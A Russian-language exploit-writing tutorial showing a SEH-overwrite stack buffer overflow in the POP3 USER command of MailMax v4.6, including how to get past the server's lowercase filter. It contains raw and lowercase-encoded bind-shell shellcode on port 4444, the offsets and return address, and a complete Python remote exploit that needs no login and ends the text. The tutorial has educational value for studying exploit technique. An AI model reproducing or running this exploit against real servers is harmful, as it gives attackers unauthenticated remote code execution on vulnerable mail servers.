Обход приведения к нижнему регистру при переполнении буфера

Обход приведения к нижнему регистру при переполнении буфера

В данном документе мы хотим рассказать как обойти фильтры tolower() (приведение к нижнему регистру) при переполнении буфера.

  Автор: Matias Choren

В данном документе мы хотим рассказать как обойти фильтры tolower() (приведение к нижнему регистру) при переполнении буфера (в примере мы используем переполнение буфера в стеке, но данная техника с некоторыми модификацими применима и к переполнению в куче).

В качестве жертвы использована программа MailMax v4.6 (СИЛЬНО устаревшая, но хорошо подходящая для демонстрации).

Сайт производителя данной программы: http://www.smartmax.com/mailmax.aspx (текущая версия - 5.5).

Версию 4.6 можно скачать здесь: http://mailmax.softonic.com/

Ладно, приступим.

В ходе фаззинга натыкаемся на аварийное завершение при передаче длинной команды USER, что видно из следующего рисунка (Служба POP3).

Замечание: (Можете загрузить фаззер отсюда: http://github.com/localh0t/backfuzz)

Так аварийное завершение выглядит в отладчике Immunity Debugger:

Мы видим переполнение буфера с перезаписью SEH. Но постойте, здесь что-то не так: наш шаблон метасплоита переведен в нижний регистр.

Это означает, что мы не можем использовать опкоды или адреса, включающие символы из диапазона [A-Z] (в шестнадцатеричном представлении: 0x41 – 0x5a), а также недопустимые символы, которые как правило встречаются в приложениях (0x00 , 0x0d, и т. д.). Мы вернемся к этому позже.

Ну, обо всем по порядку. Сначала мы определяем, сколько символов нам нужно, чтобы повредить структуру SEH, используя bw1b как точку отсчета (Помните, она приведена приложением к нижнему регистру, так что преобразуйте ее в Bw1B).

Вот что теперь у нас есть:

“USER “ + “A” * (1439 bytes) + Pointer to next SEH record (4 bytes) + SEH Handler (4 bytes) + more padding (2000 bytes) + “\r\n”

Начнем как обычно с поиска шаблона “pop | pop | ret адрес” в какой-нибудь не SEH-безопасной dll. Однако помните, что этот адрес не должен содержать символов из диапазона 0x41 – 0x5a.

Можно ускорить процесс с помощью mona, мощного скрипта на Питоне для Immunity Debugger, написанного Corelan Team.

Итак, подходящий адрес - 0x1002b386 (\x86\xb3\x02\x10) из dbmax2.dll.

Вот что у нас получилось:

buffer = "USER "
buffer += "A" * 1439 # padding
buffer += "\xEB\x06\x90\x90" # Short jmp (6 bytes)
buffer += "\x86\xb3\x02\x10" # pop | pop | ret 1c , dbmax2.dll
buffer += "\x90" * 8 # nops (just to be sure)
buffer += "A" * 2000 # more padding
buffer += "\r\n"

До сих пор обошлось без проблем: ни jmp, ни адрес не повредились приложением:

Далее нам предстоит решить важную проблему: какой шеллкод мы можем использовать и как именно. Помните, наш шеллкод не может содержать символов со значениями 0x41 – 0x5a, а любой шеллкод из сети (или, по крайней мере, 90% из них) будут содержать несколько таких символов.

Один из возможных подходов состоит в использовании кодировщика avoid_utf8_tolower из фреймворка Metasploit, чтобы закодировать шеллкод. Но он имеет слишком много проблем и принимает лишь некоторые шеллкоды.

Ладно, попробуем использовать последний шеллкод и поглядим, будет ли он работать.

Такой будет наша полезная нагрузка:

buffer = "USER "
buffer += "A" * 1439 # padding
buffer += "\xEB\x06\x90\x90" # Short jmp (6 bytes)
buffer += "\x86\xb3\x02\x10" # pop | pop | ret 1c , dbmax2.dll
buffer += "\x90" * 8 # nops (just to be sure)
buffer 
+=("\x6a\x18\x6b\x3c\x24\x0b\x60\x03\x0c\x24\x6a\x11\x03\x0c\x24"
"\x6a\x04\x68\x62\x38\x07\x0e\x5f\x01\x39\x03\x0c\x24\x68\x29"
"\x65\x02\x12\x5f\x01\x39\x03\x0c\x24\x68\x1d\x60\x1a\x37\x5f"
"\x01\x39\x03\x0c\x24\x68\x2e\x69\x12\x3c\x5f\x01\x39\x03\x0c"
"\x24\x68\x03\x5b\x70\x08\x5f\x01\x39\x03\x0c\x24\x68\x0f\x63"
"\x67\x27\x5f\x01\x39\x03\x0c\x24\x68\x6a\x12\x6a\x09\x5f\x01"
"\x39\x03\x0c\x24\x68\x3f\x07\x0a\x2f\x5f\x01\x39\x03\x0c\x24"
"\x68\x04\x10\x3a\x38\x5f\x01\x39\x03\x0c\x24\x68\x02\x08\x06"
"\x07\x5f\x01\x39\x03\x0c\x24\x68\x07\x08\x16\x10\x5f\x01\x39"
"\x03\x0c\x24\x68\x22\x2d\x04\x12\x5f\x01\x39\x03\x0c\x24\x68"
"\x0e\x17\x40\x29\x5f\x01\x39\x03\x0c\x24\x68\x06\x0c\x37\x3a"
"\x5f\x01\x39\x03\x0c\x24\x68\x34\x30\x3a\x2e\x5f\x01\x39\x03"
"\x0c\x24\x68\x37\x68\x0c\x05\x5f\x01\x39\x03\x0c\x24\x68\x09"
"\x34\x60\x36\x5f\x01\x39\x03\x0c\x24\x68\x66\x6a\x07\x62\x5f"
"\x01\x39\x03\x0c\x24\x68\x3c\x11\x3b\x3f\x5f\x01\x39\x03\x0c"
"\x24\x68\x37\x6a\x62\x02\x5f\x01\x39\x03\x0c\x24\x68\x63\x35"
"\x65\x21\x5f\x01\x39\x03\x0c\x24\x68\x5d\x0c\x03\x05\x5f\x01"
"\x39\x03\x0c\x24\x68\x08\x73\x0a\x13\x5f\x01\x39\x03\x0c\x24"
"\x68\x23\x34\x29\x1c\x5f\x29\x39\x03\x0c\x24\x01\x35\x5d\x20"
"\x3c\x13\x63\x0e\x12\x03\x06\x37\x37\x0b\x0e\x39\x70\x0a\x02"
"\x18\x5e\x02\x0d\x3a\x09\x5e\x02\x66\x2a\x6d\x16\x3e\x61\x64"
"\x27\x3b\x6e\x64\x69\x62\x6d\x18\x19\x31\x22\x17\x1c\x14\x18"
"\x09\x2e\x3c\x6e\x14\x35\x35\x2f\x31\x32\x39\x3b\x07\x69\x6b"
"\x17\x0d\x04\x37\x03\x04\x62\x11\x38\x61\x26\x35\x38\x08\x11"
"\x1e\x0a\x30\x0f\x40\x16\x64\x69\x6a\x61\x01\x16\x1c\x64\x78"
"\x6d\x1c")
buffer += "A" * 1700
buffer += "\r\n"

Попробуем ее... и столкнемся с реальностью:

Наша нагрузка искажается, возможно из-за наличия в шеллкоде недопустимого символа. Мы можем попробовать все возможные символы (от 0x00 до 0xff), но это может занять долгое время и, если недопустимых символов будет много, мы не сможем использовать и закодированную версию полезной нагрузки. Поверьте, я пробовал все возможные комбинации msfpayload и msfencode, и ни одна из них не сработала.

Посмотрим, какие варианты у нас есть. Мы можем внедрить любой символ из диапазонов [0-9] и [a-z] со стопроцентной гарантией того, что он не исказится.

Здесь хорошо выручает ALPHA3. Это утилита, разработанная SkyLined, которая полезна для конвертации шеллкода в цифробуквенную форму. Загрузить ее можно здесь:

https://code.google.com/p/alpha3/

Итак, мы преобразуем наш шеллкод. Я использую простой шеллкод, который привязывается к порту 4444 и ждет подключения (можете использовать любой шеллкод на ваш вкус, он будет работать в большинстве случаев):

# 368 bytes shellcode
"\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"+
"\xbb\xc1\x9c\x35\x83\xee\xfc\xe2\xf4\x47\x29\x15\x35\xbb\xc1"+
"\xfc\xbc\x5e\xf0\x4e\x51\x30\x93\xac\xbe\xe9\xcd\x17\x67\xaf"+
"\x4a\xee\x1d\xb4\x76\xd6\x13\x8a\x3e\xad\xf5\x17\xfd\xfd\x49"+
"\xb9\xed\xbc\xf4\x74\xcc\x9d\xf2\x59\x31\xce\x62\x30\x93\x8c"+
"\xbe\xf9\xfd\x9d\xe5\x30\x81\xe4\xb0\x7b\xb5\xd6\x34\x6b\x91"+
"\x17\x7d\xa3\x4a\xc4\x15\xba\x12\x7f\x09\xf2\x4a\xa8\xbe\xba"+
"\x17\xad\xca\x8a\x01\x30\xf4\x74\xcc\x9d\xf2\x83\x21\xe9\xc1"+
"\xb8\xbc\x64\x0e\xc6\xe5\xe9\xd7\xe3\x4a\xc4\x11\xba\x12\xfa"+
"\xbe\xb7\x8a\x17\x6d\xa7\xc0\x4f\xbe\xbf\x4a\x9d\xe5\x32\x85"+
"\xb8\x11\xe0\x9a\xfd\x6c\xe1\x90\x63\xd5\xe3\x9e\xc6\xbe\xa9"+
"\x2a\x1a\x68\xd3\xf2\xae\x35\xbb\xa9\xeb\x46\x89\x9e\xc8\x5d"+
"\xf7\xb6\xba\x32\x44\x14\x24\xa5\xba\xc1\x9c\x1c\x7f\x95\xcc"+
"\x5d\x92\x41\xf7\x35\x44\x14\xcc\x65\xeb\x91\xdc\x65\xfb\x91"+
"\xf4\xdf\xb4\x1e\x7c\xca\x6e\x48\x5b\x04\x60\x92\xf4\x37\xbb"+
"\xd0\xc0\xbc\x5d\xab\x8c\x63\xec\xa9\x5e\xee\x8c\xa6\x63\xe0"+
"\xe8\x96\xf4\x82\x52\xf9\x63\xca\x6e\x92\xcf\x62\xd3\xb5\x70"+
"\x0e\x5a\x3e\x49\x62\x32\x06\xf4\x40\xd5\x8c\xfd\xca\x6e\xa9"+
"\xff\x58\xdf\xc1\x15\xd6\xec\x96\xcb\x04\x4d\xab\x8e\x6c\xed"+
"\x23\x61\x53\x7c\x85\xb8\x09\xba\xc0\x11\x71\x9f\xd1\x5a\x35"+
"\xff\x95\xcc\x63\xed\x97\xda\x63\xf5\x97\xca\x66\xed\xa9\xe5"+
"\xf9\x84\x47\x63\xe0\x32\x21\xd2\x63\xfd\x3e\xac\x5d\xb3\x46"+
"\x81\x55\x44\x14\x27\xc5\x0e\x63\xca\x5d\x1d\x54\x21\xa8\x44"+
"\x14\xa0\x33\xc7\xcb\x1c\xce\x5b\xb4\x99\x8e\xfc\xd2\xee\x5a"+
"\xd1\xc1\xcf\xca\x6e\xc1\x9c\x35"

Сохраните его в файл в двоичном виде. Это можно сделать с помощью маленького Перл-скрипта, созданного Corelan:

my $shellcode=[YOUR SHELLCODE HERE];
open(FILE,">code.bin");
print FILE $shellcode;
print "Wrote ".length($shellcode)." bytes to file code.bin\n";
close(FILE);

Далее переведите шеллкод в нижний регистр с помощью этой команды:

ALPHA3.py x86 lowercase EBX --input="code.bin"

(На место EBX нужно вписать базовый адрес закодированной полезной нагрузки, иначе шеллкод не будет работать. Мы скоро продемонстрируем это). Вывод:

Замечательно. Но, постойте. Нам нужен регистр, который в момент запуска компьютером полезной нагрузки будет указывать на первый ее символ. (В данном случае j314[...]). Подходящие регистры для хранения указателя:

Давайте посмотрим, будет ли какой-нибудь из регистров в момент аварийного завершения указывать на закодированную полезную нагрузку (или хотя бы рядом).

В моем случае шеллкод начинается по адресу 0x06639F08:

Довольно далеко от того, что нам нужно.

Чтобы получить желаемый результат, можно попытаться добавить к EBX (или другому выбранному регистру) разность между его значением и 0x06639F08. Однако, такой путь очень ненадежен, а в данном приложении определенные опкоды преобразованы в другие. Например:

ADD register, value (Ex: add ebx,10101010 , opcodes: "\x81\xc3\x10\x10\x10\x10")

Преобразуется в:

AND register, value (Ex: and ebx,10101010 , opcodes: "\x81\xe3\x10\x10\x10\x10")

(Видите изменившийся байт? Проклятье!)

Посмотрите сами:

Это ощутимо раздражает.

Я предлагаю в данном случае воспользоваться командой popad (опкод \x61 не создает проблем) и с ее помощью добраться регистром ESP до адреса шеллкода (на момент аварийного завершения, 0x06638D98). Позднее мы можем как-нибудь скопировать значение esp в ebx.

В моем случае для достижения шеллкода понадобилось 145 команд popad, а также несколько команд nop для выравнивания. Код:

buffer = "USER "
buffer += "A" * 1439 # padding
buffer += "\xEB\x06\x90\x90" # Short jmp (6 bytes)
buffer += "\x86\xb3\x02\x10" # pop | pop | ret 1c , dbmax2.dll
buffer += "\x90" * 8 # nops (just to be sure)
# popad's, so esp => shellcode
buffer += "\x61" * 145
# nop's to align
buffer += "\x90" * 15
buffer += 
("j314d34djq34djk34d1431s11s7j314d34dj234dkms502ds5o0d35upj0204c40jxo2925k3fjeok95718gk20
bn8434k6dmcoej2jc3b0164k82bn9455x3bl153l87g7143n3jgox41l81f31lgox5eog2dm8k5831d345f1kj9nb
0491j0959ekx4c89557818332e7g828ko45xn94dn32dm2915kkgo385132e8g15mk34k2347koe0b2x0b3xlf3do
cn8kfj0428f591b3ck33530n0o16eo93191942kl53fnbn8o3jk1k907xjc085eo89k4b1f6dj145l4949k133893
1e4bo3lkox415g2ko03e6c44943g83jg3169k02dm0nf382gn3n9j9l18433410k3cn29e70kk0e2cjcn94k91k1m
xm9310839kf34mg0d0k846eoe8kmc7gj843nemkn1ld234323l9787f623f3f6199823kox0xok492890nclkn389
5510j2je945982745c6c981e954g748enx7dlfl419k01914745b08og8ej03xkcj3540b4045k481jg834872lk3
gm420jd241e5fkc4co8729948k0md98o27b625e893b6co54f426c3d9k8c7kn853905e48kf699d7f22oe6xn02g
jx00jc188g58l4k5mf850e7e9479l8086bjd09lxnb70384d0e8elfoc938k3cm3j27cm335403b794f9b6el")
buffer += "\x90" * 2000
buffer += "\r\n"

Гляньте-ка, он работает! (Наш шеллкод из-за команд popad теперь находится по адресу 0x06639FB). Однако, остался еще один шаг. В финале нам нужно выполнить mov ebx, esp, чтобы, когда мы запустим наш шеллкод, ebx указывал на него. Здесь возникает еще одна неприятность: мы не можем скопировать значение напрямую, через команду "mov ebx, esp", поскольку данная команда содержит запрещенные символы, то есть исказится.

MOV ebx, esp (Opcodes: "\x8b\xdc")

Превратится в:

MOV ebx, esp (Opcodes: "\x8b\xfc")

Посмотрите сами:

Чтобы справиться с этим, есть несколько способов. Я пытался использовать push esp | pop ebx, но это не сработало, так как push esp является в нашем примере недопустимым опкодом (0x54). Я решил проблему так:

# and ebx,esp
buffer += "\x21\xe3" 
# or ebx,esp
buffer += "\x09\xe3"

После выполнения этих логических операций значение ebx станет равным значению esp. Спасибо тебе, логика!

Я думаю, что у нас есть шелл, ждущий на порту 4444:

Итоговый эксплоит:

#!/usr/bin/python
# MailMax <=v4.6 POP3 "USER" Remote Buffer Overflow Exploit (No Login Needed)
# Newer version's not tested, maybe vulnerable too
# A hard one this, the shellcode MUST be lowercase. Plus there are many opcode's that 
break 
# the payload and opcodes that gets changed, like "\xc3" gets converted to "\xe3", and 
"\xd3" gets converted to "\xf3"
# written by localh0t
# Date: 29/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar
# Tested on: Windows XP SP3 Spanish (No DEP)
# Targets: Windows (All) (DEP Disabled)
# Shellcode: Bindshell on port 4444 (Change as you wish) (Lowercase Only, use EBX as 
baseaddr)
from socket import *
import sys, struct, os, time
if (len(sys.argv) < 3):
print "\nMailMax <=v4.6 POP3 \"USER\" Remote Buffer Overflow Exploit (No Login 
Needed)"
        print "\n Usage: %s   \n" %(sys.argv[0]) sys.exit() print "\n[!] Connecting to %s ..." %(sys.argv[1]) # connect to host sock = socket(AF_INET,SOCK_STREAM) sock.connect((sys.argv[1],int(sys.argv[2]))) sock.recv(1024) time.sleep(5) buffer = "USER " buffer += "A" * 1439 # padding buffer += "\xEB\x06\x90\x90" # Short jmp (6 bytes) buffer += "\x86\xb3\x02\x10" # pop | pop | ret 1c , dbmax2.dll buffer += "\x90" * 8 # nops (just to be sure) # popad's, so esp => shellcode buffer += "\x61" * 145 # nop's to align buffer += "\x90" * 11 # and ebx,esp buffer += "\x21\xe3" # or ebx,esp buffer += "\x09\xe3" # at this point, ebx = esp. The shellcode is lowercase (with numbers), baseaddr = EBX buffer += ("j314d34djq34djk34d1431s11s7j314d34dj234dkms502ds5o0d35upj0204c40jxo2925k3fjeok95718gk20 bn8434k6dmcoej2jc3b0164k82bn9455x3bl153l87g7143n3jgox41l81f31lgox5eog2dm8k5831d345f1kj9nb 0491j0959ekx4c89557818332e7g828ko45xn94dn32dm2915kkgo385132e8g15mk34k2347koe0b2x0b3xlf3do cn8kfj0428f591b3ck33530n0o16eo93191942kl53fnbn8o3jk1k907xjc085eo89k4b1f6dj145l4949k133893 1e4bo3lkox415g2ko03e6c44943g83jg3169k02dm0nf382gn3n9j9l18433410k3cn29e70kk0e2cjcn94k91k1m xm9310839kf34mg0d0k846eoe8kmc7gj843nemkn1ld234323l9787f623f3f6199823kox0xok492890nclkn389 5510j2je945982745c6c981e954g748enx7dlfl419k01914745b08og8ej03xkcj3540b4045k481jg834872lk3 gm420jd241e5fkc4co8729948k0md98o27b625e893b6co54f426c3d9k8c7kn853905e48kf699d7f22oe6xn02g jx00jc188g58l4k5mf850e7e9479l8086bjd09lxnb70384d0e8elfoc938k3cm3j27cm335403b794f9b6el") buffer += "\x90" * 2000 buffer += "\r\n" print "[!] Sending exploit..." sock.send(buffer) sock.close() print "[!] Exploit succeed. Now netcat %s on port 4444\n" %(sys.argv[1]) sys.exit() 

Благодарности

Хочу выразить благодарность pr0zac, KiKo, matts, oceanik6 и всем моим друзьям-хакерам. Также большое спасибо Corelan (его учебники – лучшие!) и моей семье за поддержку.

Не ждите, пока хакеры вас взломают - подпишитесь на наш канал и станьте неприступной крепостью!

Подписаться